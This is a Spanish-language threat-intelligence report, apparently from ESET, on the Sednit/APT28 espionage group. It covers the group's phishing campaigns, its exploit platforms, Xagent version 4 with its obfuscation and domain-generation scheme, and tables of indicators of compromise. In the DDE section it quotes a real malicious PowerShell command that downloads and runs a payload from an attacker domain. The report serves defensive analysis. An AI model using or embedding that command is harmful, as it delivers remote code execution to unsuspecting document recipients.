El grupo Sednit – también conocido como Strontium, APT28, Fancy Bear o Sofacy – es un grupo de atacantes que opera desde 2004, si no antes, y cuyo principal objetivo es robar información confidencial de objetivos específicos.

Este artículo es una continuación de la presentación de ESET en BlueHat en noviembre de 2017. A fines de 2016, publicamos un informe (en inglés) acerca de la actividad de Sednit entre 2014 y 2016. Desde entonces, hemos continuado con el seguimiento de las operaciones de Sednit de forma activa, y hoy estamos publicando un pequeño resumen de lo que hemos descubierto en cuanto a las actividades del grupo y las actualizaciones en sus mecanismos. La primera sección cubre la actualización de su metodología de ataque: es decir, las maneras en las que el grupo busca comprometer a sus objetivos. La segunda sección abarca la evolución de sus herramientas, haciendo énfasis en un análisis detallado de una nueva versión de su malware más reconocido: Xagent.

Las Campañas

Durante los ultimos años, el grupo Sednit ha utilizado diversas técnicas para desplegar sus componentes en las computadoras de sus objetivos. El ataque suele comenzar con un correo que contiene ya sea un enlace malicioso, o un adjunto malicioso. Sin embargo, hemos visto un cambio en los métodos que utilizan “en el curso del año”. En el pasado, Sedkit era su vector de ataque preferido, pero ese exploit kit ha desaparecido por completo desde fines de 2016. La plataforma de exploits DealersChoice ha sido su método preferido desde la publicación de nuestro informe, pero vimos que el grupo ha utilizado otros, como macros o el uso de Microsoft Word Dynamic Data Exchange.

Las tres secciones siguientes describirán los diferentes métodos utilizados por el operador Sednit para conseguir el apoyo inicial dentro del sistema al que apuntan. Generalmente, estas campañas buscarán instalar Seduploader en el sistema del objetivo. Seduploader es una primera stage backdoor que puede utilizarse para analizar la importancia del objetivo y descargar Malware adicional. Si efectivamente el sistema les resulta de interés, es probable que los operadores de Sednit instalen Xagent en él.

Sedkit (Sednit Exploit Kit)

Sedkit fue un exploit kit utilizado exclusivamente por el grupo Sednit. A lo largo de su vida, Sednit aprovechó las debilidades de varias aplicaciones persistentemente vulnerables, pero principalmente de Adobe Flash e Internet Explorer. Cuando Sedkit fue descubierto por primera vez, las víctimas potenciales eran redirigidas a una página que simulaba ser otra mediante un plan engañoso. Luego de esa campaña, su método preferido consistía en el uso de enlaces maliciosos adjuntos en correos enviados a los objetivos de Sednit. El flujo de trabajo de Sedkit está ilustrado debajo.

Entre agosto y septiembre de 2016, vimos diferentes campañas de correo intentando atraer a los recipientes de sus mensajes a una página de aterrizaje de Sedkit. Los objetivos de este grupo en ese entonces eran principalmente embajadas y partidos políticos de la Europa Central. La siguiente imagen muestra un correo que contiene dicha URL.

El correo busca hacer creer a los destinatarios que el enlace los llevará a una noticia interesante. En este caso, el artículo supone tratar sobre un terremoto que atacó las inmediaciones de Roma en agosto de 2016. Mientras el Mail se esconde tras una persona que la víctima consideraría confiable, existen dos grandes pistas que pueden llevar a un recipiente atento a notar que el correo es falso. El primero tiene que ver con los errores de ortografía, que son comunes en los correos maliciosos de Sednit. El segundo está relacionado con la parte del dominio de la URL. Es un dominio puramente malicioso, pero la ruta de la URL imita a la de un enlace legítimo. En este caso particular, la ruta es la misma que se utiliza en una historia de la BBC sobre ese mismo terremoto. Una vez más, esta es una táctica común de Sednit, utilizando historias populares halladas en sitios de noticias legítimos y redirigiendo a sus objetivos que hagan clic sobre el enlace enviado al sitio real, pero no sin antes visitar la página de aterrizaje de Sednit. Aparte de la BBC, The Huffington Post es otro sitio popular cuyas historias suelen utilizar como carnada.

El correo mostrado a continuación, en el que el enlace redirige a Sedkit, muestra varias características interesantes.

Por empezar, el asunto del correo y la ruta de la URL no están alineados: la primera refiere a Siria y Aleppo mientras que la última lo hace a WADA y el hacking ruso. Por otro lado, hay dos errores de ortografía notorios. El primero es el uso de “Greetigs!” (siendo greetings el uso correcto), y el segundo es “Unated Nations” (United Nations). Con suerte, alguien que trabaja en el departamento de relaciones públicas de las Naciones Unidas no tendría un error de tal magnitud a la hora de firmar su correo.

La última campaña utilizando Sedkit se vio en octubre de 2016. Es interesante notar que la desaparición de Sedkit sigue una tendencia que hemos visto con otros exploit kits. La mayoría de ellos eran exploits dependientes de la ejecución de drive-by donwloads de viejas versiones de Internet Explorer y/o Flash. El decline de la mayoría de las operaciones de exploit kits durante 2016, incluyendo a Sednit, puede fácilmente ser atribuido al fortalecimiento de códigos hecho por Microsoft y Adobe.

Los detalles completos de los trabajos internos de Sedkit (en inglés) pueden encontrarse en nuestro informe publicado anteriormente.

DealersChoice

En Agosto de 2016, Palo Alto Networks hizo una publicación a cerca de una nueva plataforma utilizada por Sednit para vulnerar un sistema. Esta plataforma, que ellos llaman DealersChoice, tiene la habilidad de generar documentos maliciosos con exploits adjuntos de Adobe Flash Player. Existen dos variantes a esta plataforma. La primera comprueba qué versión de Flash Player está instalada en el sistema y luego selecciona una de tres vulnerabilidades diferentes. La segunda variante contacta en primer lugar a un servidor C&C, que hará entrega del exploit seleccionado y del payload malicioso final. Por supuesto, la segunda versión es más difícil de analizar, ya que el documento entregado a los objetivos no contiene todas las piezas del rompecabezas.

Esta plataforma continua en uso hasta el día de hoy por Sednit y, como Sedkit, rastrea noticias internacionales e incluye una referencia a ellos en sus correos maliciosos, en un intento por atraer a la víctima a abrir el archivo adjunto malicioso. En ocasiones, también utilizan otros esquemas, no políticos. En diciembre de 2016, utilizaron una carnada poco común para este grupo:


Este correo fue enviado a múltiples Ministerios de Asuntos Internacionales y embajadas en Europa el 22 y 23 de diciembre, y contenía un documento de Word adjunto que parecía ser una eCard navideña. Esta fue la primera vez que vimos al grupo Sednit utilizando una técnica de phishing que no era geopolítica para atrapar a sus objetivos. Por supuesto, una vez abierto, el documento de Word utiliza DealersChoice para comprometer al sistema. Sednit utilzó DealersChoice de manera intensiva a finales de 2016, pero la plataforma no fue vista por un largo tiempo luego de ese entonces. De hecho, la primera vez que los vimos en uso nuevamente fue en octubre de 2017.

No poseemos el correo utilizado para esta campaña en particular, pero, basado en el documento engañoso, podemos suponer que los objetivos eran los empleados de agencias de gobierno. Otras campañas que utilizaban DealersChoice fueron el asunto principal de diferentes publicaciones hechas por investigadores en seguridad. Un ejemplo a tener en cuenta es el de Proofpoint, donde se detalló la adición de una nueva vulnerabilidad de Adobe Flash Player en la plataforma DealersChoice. Esto indica que esta plataforma continúa en uso para el grupo y en constante desarrollo.

Macros, VBA and DDE

Aparte de Sedkit y DealersChoice, los operadores de Sednit continuaron utilizando maneras probadas de comprometer sistemas a los que apuntan apoyándose en macros en documentos de Microsoft Office, pero también usaron otros métodos. Una campaña que consiguió mucha atención apuntó a un MFA (Ministerio de Asuntos Internacionales, por sus siglas en inglés) de Europa del Este en abril de 2017. El siguiente correo fue enviado a un empleado del MFA:

El adjunto contenía dos exploits zero-day: una escalación local de privilegio (LPE, por sus siglas en inglés), y una ejecución remota de código (RCE). Estos dos zero-days fueron reportados por ESET a Microsoft. Un análisis detallado de esta campaña puede encontrarse en nuestro blog.

El último caso mencionado, ilustra cómo los operadores de Sednit prestan especial atención a nuevos desarrollos técnicos en seguridad. A comienzos de octubre de 2017, los investigadores de SensePost escribieron un artículo sobre métodos de Microsoft Word llamados Dynamic Data Exchange (DDE) protocol. DDE es una manera de intercambiar datos entre aplicaciones. Por ejemplo, permite que una tabla de Word se actualice con los datos contenidos en un documento de Excel. Es conveniente, pero en el caso de Word y Excel también puede ser utilizado para ejecutar un código arbitrario, si el usuario ignora varios avisos de advertencia. Seguido a la publicación del artículo, no llevó mucho tiempo descubrir a las campañas de Sednit utilizando DDE para ejecutar códigos de un servidor C&C. En estas campañas, documentadas por McAfee, el documento de carnada está vacío, pero contiene un campo oculto donde se ubica el siguiente código:

1
"C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://sendmevideo.org/dh2025e/eee.txt');powershell -enc $e # " "a slow internet connection" "try again later"

 

Si la potencial víctima abre el documento y toma la imprudente decisión de ignorar las advertencias, el código mostrado arriba es ejecutado y el binario Seduploader es descargado del servidor C&C y ejecutado en el sistema del objetivo.

Este es sólo un pequeño panorama de cómo los operadores de Sednit han estado intentando comprometer a nuevas víctimas desde la publicación de nuestro artículo. Como pueden ver, permanecen tan activos como lo estaban antes y continúan apuntando a gobiernos alrededor del mundo.

Tooling

La sección previa muestra como el grupo Sednit transitó el último año, visto desde el vector de infección. Esta sección describe cambios que hicieron en su grupo de herramientas. En 2016, ESET publicó un profundo análisis de cada componente; está disponible (en inglés) aquí.

Con el paso de los años, el grupo desarrolló varios componentes para infectar, recolectar y robar información de sus objetivos. Algunos de estos han desaparecido desde entonces, mientras que otros han sido mejorados.

Seduploader

Seduploader sirve como un malware de reconocimiento. Está conformado por dos componentes distintivos: un dropper, y el payload persistente instalado por este dropper. Seduploader sigue siendo utilizado por el grupo Sednit, pero ha recibido algunas mejoras. Durante la campaña de abril de 2017, una nueva versión de Seduploader fue presentada, con algunas nuevas versiones, como la función de captura de pantalla o la habilidad de ejecutar cargas directamente desde la memoria del servidor C&C. Recientemente, hemos visto al dropper de Seduploader reemplazado por los comandos PowerShell entregando el payload de Seduploader.

Xtunnel

Xtunnel es una herramienta de una red proxy que puede enviar cualquier tipo de rastro entre un servidor C&C en Internet y la computadora de un usuario final dentro de una red local. Xtunnel continúa siendo utilizada por el grupo Sednit.

Sedkit

Sedkit es el exploit-kit de Sednit; es utilizado sólo para ataques dirigidos, comenzando por correos con phishing enviados a objetivos con URLs que simulan ser legítimas. El último registro que tenemos de su uso es de octubre de 2016.

Sedreco

Sedreco funciona como una puerta trasera espía; sus funcionalidades pueden extenderse con plugins cargados de manera dinámica. Está conformado por dos componentes distintivos: un dropper y el payload persistente instalado por este dropper. No hemos visto este componente desde abril de 2016.

USBStealer

USBStealer funciona como una herramienta de la red que extrae información sensible de redes no conectadas a internet. No hemos visto este componente desde mediados de 2015.

Xagent

Xagent es una puerta trasera modular con funcionalidades de espionaje, tales como el robo de credenciales y transferencia de datos. Xagent es el backdoor insignia del grupo, y es muy utilizado en sus operaciones. Versiones anteriores para Linux y Windows fueron vistas hace años y luego, en 2015, se lanzó una versión de iOS. Un año más tarde, fue descubierta una version de Android y finalmente, a comienzos de 2017, una muestra de Xagent para OS X fue descripta.

El febrero pasado, vimos una nueva versión de Xagent de la versión de Windows. Dadas las siguientes cadenas halladas en los binarios, deducimos que era la versión 4 del backdoor. Las diferentes versiones de los módulos Xagent están enlistados en la tabla 1.

Tabla 1: Versiones Xagent

module/chanel v3 uid v4uid
AgentKernel 3303 4401
WinHttp 2111 4402
ModuleFileSystem 2103 4411
ModuleRemoteKeyLogger 2107 4412
ProcessRetranslatorModule 2106 4413
Unknown [1] ?? 4414

 

La version 4 de Xagent vino con nuevas técnicas para la ofuscación de cadenas y toda la información de tipo Run-Time (RTTI, por sus siglas en inglés) también están ofuscadas. Estas técnicas mejoran significativamente la manera en que las cadenas están cifradas con un método único para cada binario. Versiones anteriores de Xagent utilizaban un XOR loop para descifrar cadenas. El nuevo algoritmo de cifrado es una serie de operaciones con valores probablemente generados en el tiempo de compilación. La siguiente figura ilustra la complejidad del código.

Sin embargo, el decompilador HexRays realiza un buen trabajo en simplificarlo. Aquí hay un ejemplo:

return (((((a2 ^ (((((((((((a1 - 13 + 42) ^ 0x7B) + 104) ^ 0x72) - 81 - a2 - 76) ^ 0x31) + 75) ^ 0x3B) + 3) ^ 0x40) + 100) ^ 0x1C ^ 0xA9) + 41) ^ 0xB9) - 65) ^ 0xA) % 256;

El AgentKernel puede recibir comandos del servidor C&C para interactuar con módulos y canales. Algunos de los comandos C&C vistos previamente fueron eliminados, y otros nuevos añadidos.

Versiones anteriores soportaban comando 2, PING_REQUEST. Esto ha sido eliminado en la versión 4 pero el operador aún puede conseguir la lista de módulos con el comando GET_AGENT_INFO, que es más verboso que el comando previo. Los comandos 34, 35 y 36 muestran similitudes con SET_PARAMETERS, que permite la interacción con LocalStorage, que es el kernel store. Contiene tanto almacenamiento en formato de archivos para comunicarse con el servidor C&C como almacenamiento en registros de Microsoft para guardar varios parámetros de configuración.

Una nueva funcionalidad implementada en el canal WinHttp es un algoritmo Domain Generation (DGA) para dominios alternativos. El canal WinHttp es el responsable de comunicarse con el servidor C&C. A diferencia del DGA usual que recupera su seed de números pseudo-aleatorios, este recibe una seed determinada (probablemente generada en compilación) por una muestra determinada. La manera en la que los dominios son generados es la siguiente:

  • Una suite de operaciones se aplica a la seed
  • El resultado da un desplazamiento para tres matrices distintas (añadiendo otra seed por cada matriz)
  • Una vez calculado el nuevo dato entero (desplazamiento + seed), descifra la palabra
  • Todas las palabras son encadenadas (cuatro palabras son utilizadas para generar el dominio. La cuarta palabra proviene de la primera matriz, pero con diferente desplazamiento).
  • Se añade el sufijo “.com”.

El desarrollo del backdoor con la adición de nuevas funcionalidades y compatibilidad con todas las grandes plataformas allí fuera hacen de Xagent el backdoor central utilizado por el grupo.

DealersChoice

DealersChoice es una plataforma que genera documentos maliciosos que contienen archivos de Adobe Flash embebidos. Investigadores de Palo Alto Network analizaron dos variantes, la A, que es una variante solitaria que incluye un exploit de Flash adjunto con un payload, y una variante B, que es una variante modular que carga exploits on demand. Este nuevo componente apareció en 2016 y aún está en uso.

Downdelph

Downdelph es un software de descargas de bajo peso desarrollado en leguaje de programación Delphi. Como ya hemos mencionado en nuestro artículo, su período de actividad transcurrió entre noviembre de 2013 y septiembre de 2015, y desde entonces no se han registrado nuevas variantes.

Resumen

El grupo Sednit continúa siendo un grupo activo, sin duda alguna. El principal punto de entrada para su backdoor insignia son los correos de phishing, y parecen tener un gran éxito con esta técnica. Xagent es el tronco de su operación, y podemos encontrarlo hoy en cualquier plataforma importante, sea o no móvil. La última versión de Xagent es de gran interés y los operadores parecen haber puesto mucho trabajo en ello. Hemos visto desde el descubrimiento dos instancias de Xagent in the wild – uno con el canal y el módulo desconocido – uno con todos los módulos y canales, pero sin el módulo desconocido. Podemos deducir que el grupo Sednit agregó una nueva capa de análisis sobre sus objetivos al lanzar un Xagent con sólo unos pocos módulos, y si la víctima es lo suficientemente interesante, lanzará otra versión con todos los módulos.

IoCs

Tabla 2: Phishing

Documento de Phishing  SHA-1 Detección de ESET
Bulletin.doc
68064fc152e23d56e541714af52651cb4ba81aaf
Win32/Sednit.AX
f3805382ae2e23ff1147301d131a06e00e4ff75f
Win32/Exploit.CVE-2016-4117.A
OC_PSO_2017.doc
512bdfe937314ac3f195c462c395feeb36932971
 Win32/Exploit.Agent.NUB
NASAMS.doc
30b3e8c0f3f3cf200daa21c267ffab3cad64e68b
 Win32/Exploit.Agent.NTR
Programm_Details.doc
4173b29a251cd9c1cab135f67cb60acab4ace0c5
 Win32/Exploit.Agent.NTO
Operation_in_Mosul.rtf
12a37cfdd3f3671074dd5b0f354269cec028fb52
 Win32/Exploit.Agent.NTR
ARM-NATO_ENGLISH_30_NOV_2016.doc
15201766bd964b7c405aeb11db81457220c31e46
 SWF/Agent.L
Olympic-Agenda-2020-20-20-Recommendations.doc
8078e411fbe33864dfd8f87ad5105cc1fd26d62e
 Win32/Exploit.Agent.BL
Merry_Christmas!.docx
33447383379ca99083442b852589111296f0c603
 Win32/Exploit.Agent.NUG
Trump’s_Attack_on_Syria_English.docx
d5235d136cfcadbef431eea7253d80bde414db9d
 Win32/Exploit.Agent.NWZ
Hotel_Reservation_Form.doc
f293a2bfb728060c54efeeb03c5323893b5c80df
 Win32/Sednit.BN
SB_Doc_2017-3_Implementation_of_Key_Taskings_and_Next_Steps.doc
bb10ed5d59672fbc6178e35d0feac0562513e9f0
 Win32/Sednit.BN
4873bafe44cff06845faa0ce7c270c4ce3c9f7b9
169c8f3e3d22e192c108bc95164d362ce5437465
cc7607015cd7a1a4452acd3d87adabdd7e005bd7
 Win32/Sednit.BN
Caucasian_Eagle_ENG.docx
5d2c7d87995cc5b8184baba2c7a1900a48b2f42d
 Win32/Exploit.Agent.NTM
World War3.docx
7aada8bcc0d1ab8ffb1f0fae4757789c6f5546a3
 SWF/Exploit.CVE-2017-11292.A
SaberGuardian2017.docx
68c2809560c7623d2307d8797691abf3eafe319a
 VBA/DDE.E
IsisAttackInNewYork.docx
1c6c700ceebfbe799e115582665105caa03c5c9e
 VBA/DDE.L

Tabla 3: Muestras Seduploader

SHA-1 Detección de ESET  Servidor C&C 
9f6bed7d7f4728490117cbc85819c2e6c494251b Win32/Sednit.AX servicecdp[.]com:87.236.211[.]182
6e167da3c5d887fa2e58da848a2245d11b6c5ad6 Win32/Sednit.BG runvercheck[.]com:185.156.173[.]70 remsupport[.]org:191.101.31[.]96
e338d49c270baf64363879e5eecb8fa6bdde8ad9 Win32/Sednit.BG wmdmediacodecs[.]com:95.215.45[.]43
f9fd3f1d8da4ffd6a494228b934549d09e3c59d1 Win32/Sednit.BN mvband[.]net:89.45.67[.]144 mvtband[.]net:89.33.246[.]117
476fc1d31722ac26b46154cbf0c631d60268b28a Win32/Sednit.BN viters[.]org:89.187.150[.]44
8a68f26d01372114f660e32ac4c9117e5d0577f1 Win32/Sednit.BN myinvestgroup[.]com:146.185.253[.]132
9c47ca3883196b3a84d67676a804ff50e22b0a9f Win32/Sednit.BR space-delivery[.]com:86.106.131[.]141
ab354807e687993fbeb1b325eb6e4ab38d428a1e Win32/Sednit.BS satellitedeluxpanorama[.]com:89.34.111[.]160
4bc722a9b0492a50bd86a1341f02c74c0d773db7 Win32/Sednit.BS webviewres[.]net:185.216.35[.]26

Tabla 4: Muestras Xagent

SHA-1 Detección de ESET Servidor C&C
6f0fc0ebba3e4c8b26a69cdf519edf8d1aa2f4bb Win64/Sednit.Z movieultimate[.]com
e19f753e514f6adec8f81bcdefb9117979e69627 Win64/Sednit.Z meteost[.]com
961468ddd3d0fa25beb8210c81ba620f9170ed30 Win32/Sednit.BO faststoragefiles[.]org
a0719b50265505c8432616c0a4e14ed206981e95 Win32/Sednit.BO nethostnet[.]com
2cf6436b99d11d9d1e0c488af518e35162ecbc9c Win64/Sednit.Y faststoragefiles[.]org
fec29b4f4dccc59770c65c128dfe4564d7c13d33 Win64/Sednit.Y fsportal[.]net
57d7f3d31c491f8aef4665ca4dd905c3c8a98795 Win64/Sednit.Z fastdataexchange[.]org
a3bf5b5cf5a5ef438a198a6f61f7225c0a4a7138 Win32/Sednit.BO newfilmts[.]com
1958e722afd0dba266576922abc98aa505cf5f9a Win32/Sednit.BO newfilmts[.]com

[1] No hemos podido combinar este módulo con otros ya conocidos